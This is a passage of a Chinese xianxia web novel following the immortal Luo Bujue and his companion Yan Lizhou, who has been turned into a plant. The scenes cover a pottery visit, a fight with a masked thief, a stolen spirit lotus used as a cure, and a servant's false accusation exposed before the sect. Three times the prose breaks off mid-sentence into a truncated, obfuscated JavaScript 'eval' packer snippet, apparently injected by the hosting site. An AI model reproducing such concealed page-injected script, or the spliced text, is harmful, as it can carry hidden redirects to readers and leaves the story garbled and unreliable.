洛不觉整个人僵了一下,燕黎舟叶子无力地耷拉下来,轻轻拍了拍自己现在的这个花盆。 “没事,至少咱是个盆。” 洛不觉盯着泥胚,他突然伸出手指,在那个突兀的泥包上轻轻地捏了一下。 然后,又捏了一下。 指尖轻微的在泥胚表面,小心地改变形状。 转盘停下,洛不觉将还有些边缘瑕疵的地方加了点陶泥,让他给捏成一个小小的,圆润的……耳朵? 他捏了两个,燕黎舟的视角看过去,跟那玩意儿长了耳朵一样。 洛不觉似乎对自己的“作品”还算满意,指尖在“耳朵”上点了一下,留下一个小小凹痕。 他抬起头,看向木架上的小草:“可以吗?” 燕黎舟沉默了两秒:“一般。” “……但能接受。” 老师傅看着这奇特造型的半成品,嘴角抽搐着提醒:“仙师,胚子差不多了,得晾干些才能上釉进窑,您是打算烧成素坯,还是打算上点颜色?” 洛不觉的目光移到木架上的燕黎舟身上,言简意赅道:“上色。” 老师傅连忙引洛不觉到一个房间。里面架子上摆满了各色矿物研磨出来的颜料粉末。 老师傅如数家珍,给洛不觉介绍这些颜料上色后的模样。洛不觉扫过那些小碗装着的颜料,好半天他拿起最近的一小碗粉末。 “这个呢?” “呃……”老师傅顿了一下:“这个是粉色,烧出来不会很浓,但也很好看,很多小姐都很喜欢这个颜色。” 他说着看了眼洛不觉,这会儿也知道这位仙师是要给他手里的那棵仙植做盆,心想粉色会不会有点不太搭? 燕黎舟瞥了一眼,没说话,他对颜色一向接受度很高,只要不是几个颜色混在一起丑得太离谱,他都无所谓。 想到洛不觉那个耳朵花盆,随便吧,也好看不到哪去了。 洛不觉半天没听见燕黎舟的说话,以为可以,对着老师傅点点头。 被调和成稀稠恰好的釉浆盛在小碗里,洛不觉拿起旁边准备好的特质笔刷,准备蘸釉。 老师傅在旁边拿起一个素坯,刷子熟练地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到这里,云聊突然好奇问:“仙尊,你有没有给他取名字啊?” 洛不觉顿了一下,垂眸看向燕黎舟,停顿了几秒后,缓缓道:“小燕子。” 燕黎舟:“?” “哈哈。”云聊夸赞:“真的很可爱呢。” 燕黎舟疑惑吐槽:“哪里可爱了!” 云聊这时提议:“刚好洛仙尊在,天气不早了,刚刚经过百味斋知道它新出了一道菜,仙尊要不要一起去尝尝。” “不必。”洛不觉拒绝得干脆,“早点回去宗门,师兄找我还有事情。” 云聊又被拒绝也不尴尬:“既然这样,那好吧,下次有机会一定要和洛仙尊一起吃一顿饭。” 看着洛不觉的身影离开后,云聊脸上才闪过一丝难过。 旁边谢灯看了眼不早了的天:“你找到你们要找的人的踪迹了吗?” “天不早了。” 云聊头也不回,盯着洛不觉背影消失的方向。幽怨道:“干嘛?沈齐掌门也找你有事?” “不是。”谢灯抱臂,抬眸看了眼落了半个的太阳。 “师父要醒了,我得回去给他做饭。” 18. 第 18 章 “小燕子?我那么一个帅气英俊,威武不凡的一个人,你管我叫小燕子!” “……” 燕黎舟的话在洛不觉脑海中疯狂刷屏,其中省略八百字不等吹嘘自己的话。 他吐槽了半天,抬头看见洛不觉面无表情的脸,更生气了。 叶子颤抖着指着这人,“你个木头,面瘫,棺材板板脸!” 就在这时,洛不觉突然停下来,把燕黎舟吓了一跳,看见对方的目光看过来,心虚地移开,刚刚盛气凌人的叶子也收回来。 “看,看什么……” 洛不觉指尖轻轻点了点燕黎舟挥舞的最欢的那片叶子,动作很轻。 “小燕子不好听吗?” 燕黎舟哑口,许久之后僵硬抬头:“洛不觉?” “嗯?” “……” 回到宗门,洛不觉真的被沈齐叫去议事了,等他再回到自己房间时,已经是月上中天。 案桌上放着的花盆里,燕黎舟小小一棵,被栽种在花盆正中央,长条状的叶子软软地垂下来。“土豆”在小草旁边散发着柔和的光芒,糖饼躺在它上面睡得正香,发出细碎的鼾声。 洛不觉没有点灯,缓步走到案桌旁。 燕黎舟也没有睡,在洛不觉指尖点上来的瞬间,叶子环绕住手指,语气蔫巴巴的:“干嘛……” “还没睡?” 燕黎舟不说话了,他瞥了洛不觉一眼,扭头,再瞥一眼,再扭头。 “你是什么时候发现是我的?” 洛不觉指尖挠了挠叶子,被另一片伸过来“打”了一下后才老实。 “问神镜送过来的那天晚上。” 燕黎舟:“……” “那,我说了什么你是不是都知道?”他声音有些闷,整棵草都有点提不起来精神似的,叶子垂得更低了。 “也不是。”洛不觉道。 “嗯?”燕黎舟抬头。 “碰到你。”说着洛不觉捏了捏燕黎舟的叶子。“我才能听见你说了什么。” 话音刚落,燕黎舟就看见洛不觉手腕上有根丝线缓缓显形,绕上了他的叶子。 他扯了扯,没扯断。 “那你为什么……不跟我说?” 燕黎舟此刻脑海里飞快思考着自己有没有趁机骂过洛不觉几句,或者说是有没有说过什么不该说的。 洛不觉轻声,瞥了眼在土豆上躺的四仰八叉的糖饼,在燕黎舟听来语气有些理直气壮地道:“你没问我。” 燕黎舟顿时哑口无言。 你OOC了你知道吗? 过来一会,他实在忍不住又问:“那你能不能对外给我换个名字?” “你想叫什么?”洛不觉没睡,带着燕黎舟到外面,美名其曰吸收日月精华,实际上就是看月亮。 “嗯,小绿,小青,小渌,小小……”燕黎舟数着,说一个就举一个叶子,数到第四个时发现自己叶子不够用了。 “小草?”洛不觉默默接道。 “那倒不必。”他拒绝道,显不出来他的威武。 自从知道洛不觉能听见他心声后,燕黎舟老实了几天,努力控制自己,尽量想一些正经事。 然而,本性难移。 这天,洛不觉在桌前,藏书阁的书被他带回来看。阳光透过窗户,燕黎舟待在新花盆里,百无聊赖。 最后烧出来的花盆粉粉嫩嫩的,不是很好看,但也说不上难看。 “啧,长得还挺好看。”燕黎舟看着洛不觉脱口道,说完就立马用叶子捂住自己的脑袋。 说什么乱七八糟的呢! 洛不觉执笔的手微微一顿,缓缓抬眼,花盆里燕黎舟叶子抱着自己的脑袋,重复道:“我什么都没说,我什么都没说!” 洛不觉看着他这幅“此地无银三百两”的样子,收回目光。 …… “今晚我要下山一趟。” 燕黎舟抬头,目光从他的字转到脸上:“嗯?” “云聊找到她要找到人了,我和师兄过去帮忙抓一下。”洛不觉放下笔,看着燕黎舟道。 “哦,去吧。”燕黎舟没什么反应,趴下去继续盯着洛不觉的字。 洛不觉顿了一下,还是道:“会晚一点回来,你别等了。” 燕黎舟翻了个白眼,晃了晃自己的叶子:“本来就不会等你。” 后者看着趴在花盆上的小草,连带着花盆也不过巴掌大,抿唇不语。 傍晚,燕黎舟伸出叶子,旁边糖饼轻车熟路地叼着燕黎舟从土里面揪出来,在后者的强烈要求下,它只能蹦哒着往山下跑。 镇上的一个庭院上。 洛不觉脚下踩着秋水剑停在半空,沈齐同样踩着剑站在他身边,慕容古抱着他的大刀站在一家屋顶上,云聊站在旁边,掌心握着的的罗盘指针剧烈颤抖,指着正前方。 “就在这里。”云聊小声道,声音里全是凝重。 她手腕轻翻,凭空捏出来一个稻草人,顺着她的旨意从窗户小心翻进去。 屋子里好半天也没传来没动静,云聊脸上的表情却是越来越严肃:“小草和我失去连接了。” 洛不觉顿了一下。 “直接上吧。”云聊道。 她说完,慕容古一哼,怀里抱着的大刀直接朝着脚下屋顶劈过去,瓦片木屑瞬间炸开,烟尘四起。 几乎是屋顶破碎的同一时间,一道黑影从破洞中飞出来,速度惊人,显然目标早就戒备。 “想跑!”慕容古眯了下眼睛,提着刀追上去。 “洛不觉!”沈齐的符箓在指尖轻转,符箓随着他手指的方向自动朝着黑影飞去。 被叫的洛不觉身形一转,秋水剑被他拿在手里,和慕容古一起追上去。 黑衣人身形在空中诡异旋转,险之又险地避开沈齐的符箓,手腕上突然出现的锁链缠住慕容古的刀,另一只手中拿着一柄匕首,不守反攻,狠辣地刺向慕容古拿刀的手腕。 跟上来的洛不觉剑尖一挑,将那把匕首挑开,秋水剑也顺势换了方向,顺着锁链直接朝着黑衣人滑过去。 后者猛地向后仰,几个后翻退后。 他脸上蒙着一个黑色的面罩,只漏出来一双眼睛,死死盯着面前的四个人,手腕上锁链还牢牢缠在慕容古大刀上。 黑衣人手腕向后扯,锁链被收回到他袖子里,云聊和沈齐也跟了上来。 不远处被坐在糖饼身上的燕黎舟看得津津有味,一鸟一草头碰在一起,糖饼脑袋上的毛和燕黎舟的叶子交缠在一起,没有一丝违和感,只是绿色的那几根短了点,胖了点…… “糖饼,你说就这么一个人,干嘛要他们四个全都上啊?” “啾啾~”糖饼蹦哒了两下,想要离得他们近一些,好让背上的燕黎舟看得更清楚点。 黑衣人突然抬起手,袖口对着四人,对应人数的锁链朝着几人疯狂进攻,锁链上看得出浸染了什么浓颜色的液体,还在往下滴落。 几人齐齐侧开,躲避着那带着毒的锁链,黑衣人则是趁机朝后跑开。 本以为会就这样被他跑掉时,黑衣人的面前却唰地出现一道屏障,白石湖摇着扇子从阴影中走出来,对着黑影微微一笑,一双狐狸眼睛看狗都深情地微微眯起。 “啧。”黑衣人出声,声音很模糊,听不出来是男是女,转身锁链重新被收回到袖中,他伸手指着面前几人。 “各位,”他声音带着一种令人极不舒服的戏谑,大言不惭道。 “我给你们时间跑!” 云聊轻哼,没把他的话放心上。 警告道:“尽快把我云家阴符还来 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“小心暗器!”沈齐喊,他反应很快,双手迅速结了个花印,掌心瞬间出现数张符箓,几层金盾在众人面前层层叠起。 影针狠狠扎在金盾上,金盾的颜色微微淡了一些,甚至盾上还出现了细微的裂痕。 燕黎舟震惊,叶子揪着糖饼脑袋上的几根毛,他怎么就到战场中心了? 糖饼左右上下躲着几根在沈齐结盾前就已经射过来的影针。 “啾!” 洛不觉伸手将糖饼和燕黎舟握在掌心,黑衣人躲过白石湖的攻击,身形借力后翻,趁机又甩出一片黑雾,整个人迅速隐遁逃走。 “有毒!” 白石湖伸手遮住鼻子,快步后退。其他几人也迅速离开战场。 “啧!”等毒雾散去,云聊看着面前已经不见了黑衣人的身影,不满蹙眉。 沈齐也蹙眉,伸手结印将毒气锁在一个圆球里,看着面前躺着的遮目妖的尸体。 “先回宗。” 慕容古伸手直接将妖怪整个尸体扛起来,那柄大刀被他背在背上,率先一步:“走了。” 剩下几人也纷纷跟着离开,只有洛不觉盯着手里的燕黎舟:“怎么跟过来了?” 燕黎舟仰着脑袋,理直气壮:“我无聊啊,就下山逛逛,没想来找你。” 整棵草满叶子上写着“是巧合,谁想跟着你了”。 洛不觉没说话,伸手指尖卷住他的叶子。 旁边糖饼找存在感:“啾啾。” “洛仙尊!” 一道明显压抑着怒气的声音从身后传来。 洛不觉转身,李长风正站在被摧毁的房屋前,一脸难看。 “洛仙尊半夜不睡,相比不是专门来找老夫麻烦的吧。” 洛不觉的目光扫过被慕容古破坏了的一片狼藉,神色未变,此时其他几人均已经离开。 他微微颔首行礼:“抱歉,刚刚一时失手,弄坏了李丹师的房屋。” 李长风深吸一口气,咬牙:“要是老夫没记错的话,这已经是洛仙尊第五次失手了吧。” 洛不觉顿了一下,衣袍微动,他丢给李长风一个东西,后者接住,入手是一块温润的玉质令牌。 洛不觉也不想解释了,直接道:“那还是老规矩吧,持此令,来天上白云京,多少损失我们会赔!” 说完,他就踩着秋水剑离开这里。 李长风看着自己几乎被夷为平地的房屋,握着令牌的双手微微颤抖。 那里面放着不少他培育的灵药材,都是他的心血,赔也不过是折价换成灵石,能赔他的心血和他的时间吗! 他看着洛不觉消失的背影,洛不觉这态度简直是把他的脸面踩在地上! “洛不觉!”他咬牙。 19. 第 19 章 宗门大殿上,洛不觉指尖揉着糖饼柔软的肚皮,面无表情地逗弄糖饼,燕黎舟叶子抓着糖饼头上的毛,随着糖饼的动作晃来晃去。 这边沈齐刚谈完赔偿和云聊仙子一起进来。 “遮目妖的事情已经书信给其他宗门里,肖师弟已经出发去结界线了。”沈齐道。 白石湖拿着毛笔在自己新得的扇子上题字,旁边慕容古正擦拭着自己的大刀,手中的软布沿着冰冷的刀面缓缓移动,整个人面无表情。 两人对此并不感兴趣。 云聊在旁边点头:“辛苦各位长老了,这次是我大意,那黑衣人有我云家阴符加持,没想到还有遮目妖……是我没事先调查。” 闻言,白石湖吹了吹扇子上没干的墨迹:“那遮目妖对黑衣人说舍就被舍了,没见有一点手下留情,他的底牌应该不止如此。” “肖师弟此次去结界线,人家还真有点担心呢……” 慕容古轻哼一声:“装模作样,平时也没见你多心疼他。” 白石湖缓慢摇了摇头,余光瞥了眼对方:“慕容师兄吃醋直说,人家也心疼你。” “滚。” 洛不觉一直没说话,燕黎舟也安安静静听着。 沈齐眉宇间带着一丝疲惫,但还是维持着掌门的沉稳。 “肖师弟那里应该不用担心。” 他转看向旁边的云聊仙子:“还要辛苦仙子,那黑衣人能够驱使遮目妖,怕是背后早已经投放了不知道多少这种妖怪。” 云聊仙子同样面色凝重,从袖中取出一枚小巧的玉符:“沈掌门所言极是,我继续寻着黑衣人的踪迹去追,此事关乎结界线,云家定然义不容辞。” 说完,她看了眼一直没说话的洛不觉,抿了下唇,指腹轻轻摩挲着上面复杂的纹路,最终还是交给沈齐。 “沈齐掌门,这是我云家的信物,若是有任何需要找我的,摔碎此符,我就能收到消息。” 沈齐点头,伸手接过。 “事不宜迟,我现在就出发,各位长老,我们再见。”云聊说完又凑到洛不觉面前。 “洛仙尊,有时间我们一定要一起吃顿饭!” 云聊走后,沈齐变戏法似的从袖子里摸出根细长的草茎,飞快地编了一只小蚱蜢,举在糖饼面前晃了晃,糖饼伸出爪子试图去抓。 沈齐:“这次也是多亏了你。” “啾啾。” “先走了师兄。”洛不觉见结束了,薄唇轻启,伸手把某棵被晃的难受的草揪下来放在手心。 话音落下的同时,他已经转身,糖饼玩着那只蚱蜢,抬头看了眼洛不觉的背影,最终还是决定低头继续玩新得的“玩具”。 “洛不觉,”燕黎舟仰头,“那个遮目妖是什么?为什么都这么忌惮它?” 那晚上遮目妖看上去也就体型大了点,像是狗熊,但对于他们这群修仙的人来说,应该没什么吧。 洛不觉面不改色地解释:“遮目妖,以小型体欺骗人类,力气很大,迷惑类防御型妖怪。” “这种妖怪一直生活在妖界,也被禁止出现在普通人周围。” “它现在出现在这里,很大可能是有妖界的人越过了结界线……” 燕黎舟听着洛不觉的解释,晃了晃叶子,明白了一点点,但也只有一点点。 第二天一早,燕黎舟醒来的时候,洛不觉还坐在桌案前,糖饼顶着一个草编的花环趴在他旁边,应该是玩累了,现在睡得正熟。 “醒了?”他声音平缓,同时合上了手中的书,视线看向燕黎舟。 “嗯……”粉嫩花盆里的小草舒展了一下叶子,随后揉了揉眼睛。 “你在这里看了一晚上的书啊?” “没有。”洛不觉否认。 “嗯?” 就在这时,洛不觉伸手摸向案桌上的一个瓶子,在燕黎舟“这是什么”的疑惑眼神中,洛不觉手腕一翻,瓶子里的透明液体全部被倒在他头上。 “!?”燕黎舟震惊,一下子没反应过来,液体顺着叶片滑落,滴落进土。 “你之前吸收的那些日月精华全都堵住了,需要靠外力来疏通一下,不然会导致你爆体而亡。”洛不觉看着炸毛的小草,不知道出于什么心态,故意说得严重了点。 “那你不能温柔点!”尽管知道对方是在帮他,燕黎舟还是没好气道,只是没有那么生气了,语气里也只是抱怨的意思。 洛不觉伸出手指,即将触碰上燕黎舟的时候,后者用叶子包裹住自己,往后躲了躲,避开洛不觉的手指。 “又干嘛。” 洛不觉没说话,目标准确地捏住燕黎舟的叶子。 “喂!手……手拿开!”叶子使劲推着手指,挣扎道。 洛不觉的手指换了个位置,轻轻捏上那棵草的中段。 燕黎舟的意识微微卡壳,所有话都噎住了。只知道对方指尖微凉的触感顺着他,浑身上下游走。 他整棵草都僵住了,叶片和手指接触的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他伸手将燕黎舟每一片叶子都翻了个遍,整棵草隐隐有些发黄枯萎的趋势。 燕黎舟被洛不觉摸来摸去,叶子只是推了推某人趁他难受对他为非作歹的手,这几日对方天天要给他做灵力疏通,搞得他好像没了脾气一般。 “干嘛啊,没看见要死了吗。”他声音也有气无力的。 20. 第 20 章 “怎么突然变成这样了?”洛不觉捏紧了手里的叶子,蹙眉。 “为什么突然开始枯萎了?” 燕黎舟整张脸皱巴巴的。他叹了口气,躺下:“植物都是会枯萎的,秋天到了,叶子黄了……” “我在你身上施了生灵咒。”说着,洛不觉低头扒开土壤查看他根部的情况,半响又将黑土给埋回去,将整棵花盆抱起来出去。 药老看着洛不觉端来一盆小草,一本正经地问他为什么枯萎。 神情麻木:“我是治人的。” 洛不觉:“……” 药老拗不过面前这人,翻了半天有关植物的医术,最终叹了口气,问:“问神镜不是在你手里?” “嗯。” “问神镜启动需要至纯灵力,你要是真的想知道,你试试,看它会不会回答你。”药老是真的没办法了,他也不知道洛不觉其实已经问过一次了,随便打发道。 洛不觉快速赶回房间,拿出问神镜,灵力输进去,镜面正对着燕黎舟。 镜面如同水波般动了动,最终呈现出燕黎舟人形的那张脸。 “中毒?”洛不觉眉头皱起,转头看了眼燕黎舟,指尖戳了一下燕黎舟,确认这个人还在活着。 燕黎舟看见问神镜,惊喜,抬了抬叶子。“洛不觉,你快问问,我以后的命运是好是坏……” 洛不觉神色平淡,看着镜面上给出的字,闻言回答:“问神镜不看未来。” 燕黎舟得到了回答又躺回去,语气重新变得有气无力:“啊……不看啊。” 那他之前一直在找问神镜岂不是在浪费时间。 “那怎么才能快速变成人呢,变成草后哪里都去不了,都快给我憋死了。”叶子又抬了抬,他问。 洛不觉将问神镜收起来:“先解毒。” 说完他伸手捧起花盆,连草带盆出门找问神镜上给的药材。 “你就这么抱着个粉色花盆出去?找个盒子给我装里面呢……”燕黎舟抗议道。 洛不觉无视他的抗议:“麻烦。” 说完他松开燕黎舟的叶子,根本不给他讨价还价的机会。 “师叔,槿仙莲这东西之前全被您拿去炼丹了……” 听着弟子的话,洛不觉也才终于想起来前几天上课炼药,使用的药材似乎也有这么一株。 洛不觉:“……知道了。全没了?” “没了。”负责记录的弟子肯定道,“下一批,最快也要月余。” 月余…… 洛不觉看了一眼燕黎舟,小草蔫蔫地趴在花盆檐上,叶子有气无力地耷拉着,等不到月余了。 燕黎舟揪了揪洛不觉垂下来的青丝:“洛不觉,山下药铺没有吗?” “槿仙莲摘下来只有三日储期,都是临时采取。” 弟子这时突然道:“山下李府老爷最近挪了一棵养在家里,只是师叔……” 洛不觉目光平静。“李府,李长风的府上?” “正是李大丹师。”弟子点头。 “知道了。”洛不觉不再多言,拿着花盆转身就走。 “嗯?你这就走了?去哪?”燕黎舟在花盆里,趁机用叶子往洛不觉身上舀土,“李长风是谁,你认识?有仇还是有恩?能从他手里弄到槿仙莲吗……你说句话好不好。” 洛不觉伸手,修长的手指屈起,不轻不重地弹了下燕黎舟的叶子:“聒噪。” 燕黎舟:“我现在是病号!”说着他晃了晃自己黄得最多的叶子。 洛不觉没理会他的抗议,抱着花盆来到山下城北的一壶高门大户门前。朱漆的大门紧闭着,正上方挂着“李府”的匾额,气派非凡。 “实在是不巧,老爷这几日闭门,谁都不见。” “槿仙莲?洛仙尊是不是搞错了,府上可没什么槿仙莲。” 李管家看着突然上门的洛不觉道。 “之前那株早死了,哎,这玩意儿,难养的很。”他说着,脸上却没有一丝难过。 洛不觉:“……” 李管家挥手抱歉:“实在是爱莫能助,仙尊还是到别处看看吧。” 洛不觉从李府出来后,走到李府旁边的巷子里,燕黎舟的叶子搭上洛不觉的手背,问。 “你不是仙尊吗,刚才看那管家的态度明显就是有不想给你,以你的地位再加上天上白云京的名声,他为啥不给你?” 洛不觉:“不知道。” “所以呢,那现在你打算怎么办,硬闯?”燕黎舟问,他感觉自己有点死了。 “硬闯不行,掌门会找我。”洛不觉认真道。 “药圃就在府邸深处,槿仙莲这种奇物生长在阴煞浓的地方,应该在药圃最后地方。” 他的目光落在李府高耸的围墙上,半响,低眸伸手捏了捏燕黎走蔫巴的叶子。 “偷偷进去,不难。”说完,他抱着花盆,悄无声息地翻过高墙进入李府。 燕黎舟:“!?”这样做是不是不太符合你主角团的人设? 李府,药圃深处。 一株通体墨黑的莲花静静地生长在同样漆黑的灵土上,在他旁边,一跳手臂粗细的藤蔓正在涌动着。 槿仙莲和一种名为骨藤的妖植同根生长,此藤剧毒,能腐蚀金铁,喜食活物。 洛不觉隐去自己的身形,伸手压制住药圃的阵法,另一只手快速探出,一把将骨藤从根处砍断,然后将槿仙莲连根拔起,迅速收入一个特制的盒子里。 临走时还不忘从兜里拿出来灵石放在一旁。 整个过程非常顺利。 他看着燕黎舟已经枯萎了一片的叶子,抿唇,脚下的速度加快。 李长风看着自己药圃死掉的骨藤,原本栽种槿仙莲的地方只留下一个坑。 “谁干的!” 旁边看守药圃的弟子战战兢兢,他突然想到什么,连连叩首:“老爷,是仙……洛不觉!肯定是他干的,我们打不过他啊老爷,只能看着他把花摘走了!” “洛不觉!”李长风要气疯了,“之前不与你计较,真以为我李长风就怕了你吗!这次天上白云京不给我个交代,我绝不罢休!” 另一边,洛不觉小心将花盆放在身旁,着手开始炼丹。 他盘膝坐下,没有半分迟疑,取出那株浑身漆黑的槿仙莲,又从储物戒中拿出已经备齐的其他辅助药材。 “撑住。”声音低沉,对燕黎舟道,指尖直接升起一抹淡蓝色的火焰。 燕黎舟“嗯”了一声,有气无力。 旁边洛不觉全神贯注,药材不断被投入丹炉,动作行云流水,周围温度却在不断下降。炉底的火焰越来越厚,浓郁的丹香慢慢开始弥漫。 洛不觉双手掐诀,时间紧,只能手动将槿仙莲里骨藤附着的毒素提炼出来。 一只手托着火,另一只手指尖往旁边轻轻拉扯,火焰里裹着的碧绿毒素被他剥离出来,丢在旁边缓慢燃烧着。 一炷香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“掌门说让您去主峰大殿,山下的李长风李丹师上山找掌门告状。” “说是您偷了他槿仙莲,要沈掌门把你交出去,掌门让我来喊您!” 洛不觉和燕黎舟对视一眼,“知道了。” 主峰大殿,气氛凝重。 沈齐端坐主位,面沉如水,其他几位长老分坐两侧,无一全是凝重神色。 大殿中央,李长风负手而立,一身墨绿色丹袍,周围散发着高阶丹师的威压。 “沈掌门,”李长风声音带着压抑的怒意,哪怕是在别人的地盘他也丝毫不客气。 “老夫耐心有限,槿仙莲是我费尽心血培育移植的,那洛不觉一声不吭就把这些拿了,我家仆人看得清清楚楚,你们一句不信就能搪塞过去吗!” “今日若是不给老夫一个满意的交代,休怪老子不讲情面!” 仆人王五跟在李长风身后,脸色有些发白,声音发颤却坚持道:“是是!小的亲眼所见,就是洛bu……仙尊!” “各位长老,小的哪来的那么大的胆子欺瞒各位啊!”王五边说边喊,声音很大,带着明显的哭腔,强行掩盖自己的心虚。 “我只是一个普通人,哪里打得过洛仙尊啊!” 李长风挥手,怒视着沈齐,满脸写着“看你还有什么好说的”。 21. 第 21 章二更 沈掌门的声音不高:“此事如今仅是你这仆人一面之言,就要定我师弟的罪责,李丹师不觉得太过草率?” “这要不是我师弟做的,你这就是在污蔑我宗和我师弟的名声!”沈齐冷声道。 就在这时,洛不觉走进大殿,所有人的目光瞬间聚集在他们俩身上。 燕黎舟在洛不觉肩膀上,往头发里藏了藏,不会发现他吧。 沈齐清咳一声,转头看向洛不觉,自己师弟依旧是那副冰冷的没有一点表情的脸,跟他的配剑一样。 沈齐忽的想起当初师尊给洛不觉秋水剑的时候,当时师尊拿了很多把武器放在他们师兄弟几个面前。 他当时也看中了秋水剑,只是剑身周围都散发着的寒气骇人,他选了另外一把,反正他也不是练剑的。 只有洛师弟,不知是天生剑体确实是厉害,又或者是洛师弟厉害。 秋水剑在他手里乖乖巧巧的,沈齐觉得挺好的,冰块配冰块,只是他转头时却瞧见师尊的表情不是很开心。 “师弟,你方才干嘛去了?” 洛不觉面对掌门师兄的询问,神色依旧不变,只是还没开口回答,就被人打断。 “还能干嘛,”李长风冷笑一声,喝道:“洛不觉,我药圃的那株槿仙莲是不是你偷走的!” 沈齐眉头轻蹙:“李丹师,稍安勿躁。” “我师弟从不说谎,事情,我自会问清楚。” 他说完转向一旁看着洛不觉,缓了缓神色。 “师弟,李丹师指认你潜入李府,盗取槿仙莲,可有此事?” 燕黎舟转头扯头发编麻花,其中有片叶子轻轻贴在对方耳朵上,煞有其事地学着沈齐的口吻:“有没有此事!” 洛不觉面不改色:“没有!” 燕黎舟跟着学,语气板板正正:“没有!” 沈齐闻言眉头一松,转身又看额头青筋暴起的李长风。 “李丹师,我师弟说不是他那肯定不是他做的!” 李长风骂:“我仆人看得清清楚楚,我还能污蔑你们不成!” “况且今早洛仙尊来我府上寻槿仙莲,下午槿仙莲就失窃,我很难不怀疑是洛仙尊所为!” 沈齐视线投向一旁的王五。 “王五,你说你亲眼所见洛仙尊盗取了槿仙莲,当时仙尊是如何取走槿仙莲,你又如何判定那就是洛仙尊,而不是他人伪装假扮!” 王五头上瞬间冒汗,他本就心虚,害怕被李长风怪罪,顺口胡诌的,只是为了洗脱自己的看护不力的罪名,没想到李长风竟然直接带着他上门问罪。 “着……小的看见就是洛仙尊,当时他把我打晕了,然后……小的醒来后槿仙莲就不见了。”他说的语无伦次,磕磕巴巴。 洛不觉看了一眼王五,他去摘的时候根本就没有任何人在那,他都没见过这人,又哪来的打晕。 李丹师脸色铁青,整个人上前一步,一挥袖子站在王五面前:“王五虽为普通人,但跟着老夫多年,一直为老夫照看药圃。” “若非亲眼所见,他岂敢随意指认洛仙尊?”李长风瞥了洛不觉一眼,刻意加重了“洛仙尊”三个字。 洛不觉没有去争执,掌心一闪,从储物戒里拿出来一捆红绳,对沈齐道:“师兄,这是晋绳,可辨认言语真假,可以问问这人,当时是真的看见我了吗。” 燕黎舟点头:“就是就是!” 嘴上虽然这样说,但叶子默默抓紧了洛不觉的衣服。 沈齐朝弟子点点头,对李长风道:“既然如此,李丹师,我们测一下没有意见吧。” 后者哼了一声,一甩袖子,指挥王五:“去!” 王五几乎是瞬间脸色一白,额头上布满了汗,垂在身侧的手控制不住地哆嗦着。 但事到如今,他只能硬着头皮过去哆嗦着将自己刚刚的话又说了一边。 话音刚落,洛不觉手心的晋绳就直直朝着这人飞过去,将人捆了个五花大绑。 王五瞬间跪在李长风面前:“老爷,我不是,是……是……这绳子有问题!” 李长风面上闪过一丝尴尬,谁不知道这晋绳是洛不觉从一个秘境里得到的,是数一数二的宝物,怎么可能会出错。 “我……我……”王五脸憋的通红,求助般地看向李长风,在场的人也都看出来这是怎么回事。 李长风愤愤踢了王五一脚,将人踹出老远。 “混账东西!你到底看到了什么!给老夫说清楚!若有半句虚言,老夫就将你做成花肥!!” 巨大的恐惧和李长风的威胁彻底击垮了王五,他也顾不得其他,竹筒倒豆子般哭嚎着:“老爷,老爷饶命,小的,小的那天喝醉了酒……睡得死沉,醒来后听说槿仙莲不见了,小的怕老爷您怪罪小的看护不力……” “小的糊涂!小的糊涂……以后再也不喝了,老爷饶命!呜呜呜……小的该死,老爷饶命啊!” 王五的哭嚎像是一记闪亮的耳光,狠狠抽在李长风脸上,又红又紫。 看护不力,醉酒渎职,甚至为了减轻自己的责任,信口雌黄,诬陷他人! 李长风脸色此刻难看到了极点,他的脸今天算是被这个蠢货丢尽了。 洛不觉一挥手,晋绳松开王五,重新回到他手中,然后将某棵不老实捣乱的草揪下来塞进衣服里。 刚编了一根麻花辫的燕黎舟:“……” 沈齐缓缓开口,声音不大却清晰的压过了王五的哭嚎:“李丹师,看来……贵府的家务事,确实需要好好整顿一下了。” “一个醉酒渎职,构陷他人的恶仆,引得李丹师如此声师动众,险些污了我宗的清誉……”他顿了顿,语气转冷。 “李丹师先前所说这人跟随你多年,这样的“忠心”,着实令人“刮目相看”。” 李长风脸色又难看了几分,他怒视王五,恨不得将其挫骨扬灰。 “李丹师,此乃贵府的仆役,如何处置理应有李丹师定夺,由贵府执法堂自行处置。” 沈齐这已经是看在李长风的薄面上,给他留得最后一块遮羞布了。 李长风脸色由红转青,再由青转白,气得一句话也说不出,又踢了王五一脚,后者哎呦一声,吐出一口血来,即便如此嘴里求饶的话也丝毫不敢停。 李长风拱手:“既然是老夫冤枉了洛仙尊,自当赔罪,老夫稍后会让人将赔礼送上来!” “告辞!” 说完他猛地一甩袖子,头也不回大步往外走,一起的管事铁青着脸,示意弟子拖这瘫软的王五,匆匆跟了出去。 大殿内气氛一下子安静下来,沈齐看着众人,清咳一声。 “刚好大家都在。” 沈齐给旁边弟子示意了一个眼神。 “半个月前宗门收到一封除妖求援信,陆师兄和司徒师兄接了任务便下山了,”弟子声音发紧。 话音刚落,洛不觉衣襟里的燕黎舟瞬间探出几片叶子:“陆师兄和司徒师兄?陆乐水和司徒沃吗?” 洛不觉面无表情将那棵挂在衣襟上的小草摁回去,燕黎舟憋着气地又伸出来。 “啧。” 弟子接着道:“可是两位师兄至今未归,我们发出去的传讯,令牌也没有 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“这妖怪专挑女人下手,这个月……这个月已经是第四个了!都是在晚上,什么动静都没有。第二天早上就发现人没了,什么伤口都没有,就那么躺在床上!” 